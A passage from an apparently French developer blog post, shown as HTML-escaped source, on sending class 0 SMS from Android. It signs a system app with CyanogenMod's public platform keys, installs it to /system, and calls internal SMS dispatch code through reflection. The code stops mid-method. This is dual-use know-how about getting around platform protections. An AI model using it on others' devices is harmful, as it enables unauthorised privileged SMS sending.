&lt;span class="n"&gt;ss&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ISms&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Stub&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asInterface&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;isms&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;lt;/quote&amp;gt;&lt;/p&gt;
&lt;p&gt;Il y est fait mention d'un &lt;em&gt;ServiceManagerNative&lt;/em&gt;, qui gère des services. En réalité, c'est un service natif qui gère l'envoi des SMS, appelé au travers d'une couche bien définie de classes permettant de vérifier les permissions et de structurer le message à envoyer. Il existe d'ailleurs d'autres services que ce &amp;quot;isms&amp;quot;: &amp;quot;phone&amp;quot;,&amp;quot;content&amp;quot;, etc ... L'utilisation de services permet de cloisonner les fonctionnalités mais surtout de limiter les fonctions exportées: l'interface restreint leur usage et complique l'implémentation d'autres fonctionnalités.&lt;/p&gt;
&lt;p&gt;Là où ça devient intéressant,  c'est que la classe &lt;em&gt;SMSDispatcher&lt;/em&gt; est instanciée par la classe &lt;em&gt;`IccSmsInterfaceManager &amp;lt;http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/2.3.7_r1/com/android/internal/telephony/IccSmsInterfaceManager.java?av=f&amp;gt;`_&lt;/em&gt;, et il semble donc possible de pouvoir récupérer une instance de cette classe. J'ai de suite pensé l'instancier via l'application, mais un problème est survenu: le contexte d'instanciation n'est pas bon. Seule une instance de la classe &lt;em&gt;com.android.internal.telephony.Phone&lt;/em&gt; peut retourner l'instance unique et utilisable d'&lt;em&gt;IccSmsInterfaceManager&lt;/em&gt;, via la méthode &lt;em&gt;getIccSmsInterfaceManager&lt;/em&gt;. Et c'est là que ça se complique.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Récupération de l'instance système Phone&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le problème reste entier: sans une instance de la classe &lt;em&gt;Phone&lt;/em&gt;, impossible d'atteindre une instance de &lt;em&gt;SMSDispatcher&lt;/em&gt;, on peut donc oublier l'envoi de SMS via PDU. Cependant, une classe offre la possibilité de récupérer l'instance &lt;em&gt;Phone&lt;/em&gt; courante: &lt;em&gt;PhoneFactory&lt;/em&gt;. Cette classe est encore une fois interne et n'est pas exposée via le SDK &amp;quot;standard&amp;quot; offert par Google. Elle offre une méthode &lt;em&gt;getDefaultPhone()&lt;/em&gt; qui retourne une instance de &lt;em&gt;Phone&lt;/em&gt;, avec toutefois un bémol: un appel à cette méthode ne réussit que si le code appelant est exécuté au sein du processus &lt;em&gt;com.android.phone&lt;/em&gt;, le processus dédié (et unique) à la gestion de la téléphonie sur le smartphone. Et un souci de plus.&lt;/p&gt;
&lt;p&gt;Pour pouvoir exécuter du code dans le contexte du processus &lt;em&gt;com.android.phone&lt;/em&gt;, il faut que l'application respecte les contraintes suivantes:
*  elle doit être signée avec le même certificat que l'application créant le processus &lt;em&gt;com.android.phone&lt;/em&gt;
*  le manifest doit spécifier le processus dans lequel une application, activité ou service va s'exécuter&lt;/p&gt;
&lt;p&gt;Par conséquence, notre application doit être une application système (&lt;em&gt;com.android.phone&lt;/em&gt; étant mis en place par le système, et signée avec le certificat système) et doit forcer son code à être exécuté dans le contexte de &lt;em&gt;com.android.phone&lt;/em&gt;. Heuu, ça s'annonce difficile.&lt;/p&gt;
&lt;p&gt;Plusieurs questions se posent:
*  Comment créer une application système ?
*  Comment exécuter une activité dans le contexte du processus &lt;em&gt;com.android.phone&lt;/em&gt; ?&lt;/p&gt;
&lt;p&gt;Une fois ces questions résolues, l'appel de &lt;em&gt;sendRawPdu&lt;/em&gt; sera un jeu d'enfant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Création d'une application système&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nous allons devoir créer une application système, cela implique plusieurs choses:
*  être capable d'utiliser tous les éléments du SDK Android, et notamment les classes internes (&lt;em&gt;com.android.internal.*&lt;/em&gt;)
*  être capable de signer l'application de manière à ce qu'elle soit reconnue comme application système
*  être capable de l'installer sur un smartphone&lt;/p&gt;
&lt;p&gt;L'élément le plus bloquant pour la création d'application système reste la phase de signature de l'APK: celui-ci doit être signé avec le même certificat que les autres applications systèmes. Sur une version Android standard, c'est quasi impossible à moins d'avoir la clef privée. Par contre sur des mods d'Android comme CyanogenMod, la clef privée du certificat est publique et peut être utilisée pour signer une application et l'installer comme application système sur une rom CyanogenMod.&lt;/p&gt;
&lt;p&gt;Le développement avec Eclipse est plus sport, la version du framework Android (&lt;em&gt;android.jar&lt;/em&gt;) fournie dans le SDK ne contient pas les APIs internes. A moins d'utiliser la réflexion Java à gogo, s'interfacer avec les APIs internes est impossible en l'état. C'est ce que je pensais jusqu'à ce que je tombe sur &lt;a class="reference external" href="http://devmaze.wordpress.com/2011/01/18/using-com-android-internal-part-1-introduction/"&gt;ce tutorial très bien fait&lt;/a&gt;, expliquant comment intégrer dans le fichier &lt;em&gt;android.jar&lt;/em&gt; les classes internes récupérées grâce à &lt;em&gt;jd-gui&lt;/em&gt;, et comment patcher le plugin ADT afin d'autoriser l'utilisation des APIs internes. Il est assez bien fait, mais je vais vous donner une méthode plus rapide pour arriver au même résultat.&lt;/p&gt;
&lt;p&gt;Premièrement, il vous faudra télécharger les différentes versions du SDK Android qui incluent les classes internes, qui sont disponibles &lt;a class="reference external" href="https://github.com/inazaruk/android-sdk/tree/master/platforms"&gt;sur github&lt;/a&gt;. Ensuite, pour chaque dossier dans le SDK, copier le contenu dans un dossier avec pour nom &lt;em&gt;android-X-internals&lt;/em&gt;, et insérer dans chacun d'entre eux les fichiers issus de github:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# cd &amp;lt;SDK&amp;gt;/platforms
#&amp;nbsp;cp -rf ./android-7 ./android-7-internals
#&amp;nbsp;cp -rf ./android-8 ./android-8-internals
#&amp;nbsp;cp -rf ./android-9 ./android-9-internals
#&amp;nbsp;cp -rf ./android-10 ./android-10-internals
# wget &amp;quot;https://github.com/inazaruk/android-sdk/tarball/master&amp;quot; -O /tmp/platforms.tgz
#&amp;nbsp;tar xvzf /tmp/platforms.tgz
&lt;/pre&gt;
&lt;p&gt;Il ne reste plus qu'à patcher le plugin ADT, tel qu'indiqué &lt;a class="reference external" href="https://devmaze.wordpress.com/2011/01/18/using-com-android-internal-part-4-customizing-adt/"&gt;sur cette page&lt;/a&gt;. Une fois cela fait, relancer Eclipse et vous devriez voir apparaître de nouvelles versions du SDK d'android, avec un numéro de SDK négatif ...&lt;/p&gt;
&lt;img alt="" src="/images/adt-patched-1.png" /&gt;
&lt;p&gt;... ainsi que la restriction sur les APIs internes, qui doit être patchée (&lt;em&gt;com/andoird/internax/*&lt;/em&gt; à la place de &lt;em&gt;com/android/internal/*&lt;/em&gt;):&lt;/p&gt;
&lt;img alt="" src="/images/adt-patched-2.png" /&gt;
&lt;p&gt;Une fois notre application développée, nous allons pouvoir la signer et l'installer sur notre smartphone (utilisant CyanogenMod si vous avez suivi):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# signapk.sh MonApp.apk /tmp/MonApp-signed.apk
# adb shell mount -o rw,remount /system
# adb push /tmp/MonApp-signed.apk /system/app
&lt;/pre&gt;
&lt;p&gt;J'utilise signapk.sh, un script basé sur &lt;a class="reference external" href="http://www.londatiga.net/it/how-to-sign-apk-zip-files/"&gt;signapk.jar&lt;/a&gt; et &lt;a class="reference external" href="https://github.com/CyanogenMod/android_build/tree/gb-release-7.2/target/product/security"&gt;les certificats de CyanogenMod (Gingerbread, CM 7.2)&lt;/a&gt;. Ce script effectue basiquement la commande suivante:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
java -jar signapk.jar platform.x509.pem platform.pk8 Application.apk Application-signed.apk
&lt;/pre&gt;
&lt;p&gt;Après cette dernière étape, notre application système sera installée et reconnue par Android en tant que tel. Bon, reste à développer une application d'envoi de SMS classe 0 maintenant que l'on possède un IDE et un SDK améliorés.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Utilisation de la réflexion pour l'envoi de SMS via PDU&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Faisons le point. On a un éditeur Eclipse avec ADT patché et au moins un SDK qui intègre les classes &lt;em&gt;com.android.internal.*&lt;/em&gt;. On sait aussi déployer une application système. Au boulot.&lt;/p&gt;
&lt;p&gt;Pour commencer, on récupère l'instance de &lt;em&gt;Phone&lt;/em&gt; (supposons que cela soit exécuté dans le bon processus, ce point sera abordé par la suite):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Phone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PhoneFactory&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefaultPhone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Puis on récupère une instance de &lt;em&gt;IccSmsInterfaceManager&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IccSmsInterfaceManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDeclaredField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mDispatcher&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAccessible&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;SMSDispatcher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sms_disp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SMSDispatcher&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ismsm&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et on utilise un brin de réflexion Java pour appeler la bonne méthode, en transformant au passage un message SMS classique en SMS de classe 0 (via la manipulation des PDUs)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;SmsMessage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SubmitPdu&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmsMessage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSubmitPdu&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phoneNumber&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="cm"&gt;/* change class to Class 0 */&lt;/span&gt;
&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encodedMessage&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encodedMessage&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/* send raw pdu */&lt;/span&gt;
&lt;span class="n"&gt;Method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SMSDispatcher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDeclaredMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sendRawPdu&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAccessible&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sms_disp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encodedScAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encodedMessage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et voilà, rien de bien compliqué niveau code. Une fois le tout assemblé avec la gestion des exceptions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cm"&gt;/* Sends class 0 SMS */&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sendSMS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phoneNumber&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SMSDispatcher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sms_disp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Phone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PhoneFactory&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefaultPhone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Get IccSmsInterfaceManager */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IccSmsInterfaceManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ismsm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getIccSmsInterfaceManager&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IccSmsInterfaceManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDeclaredField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mDispatcher&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAccessible&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;sms_disp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SMSDispatcher&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ismsm&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sms_disp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;SmsMessage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SubmitPdu&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="n"&gt;SmsMessage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSubmitPdu&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phoneNumber&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="cm"&gt;/* change class to Class 0 */&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encodedMessage&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encodedMessage&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="cm"&gt;/* send raw pdu */&lt;/span&gt;
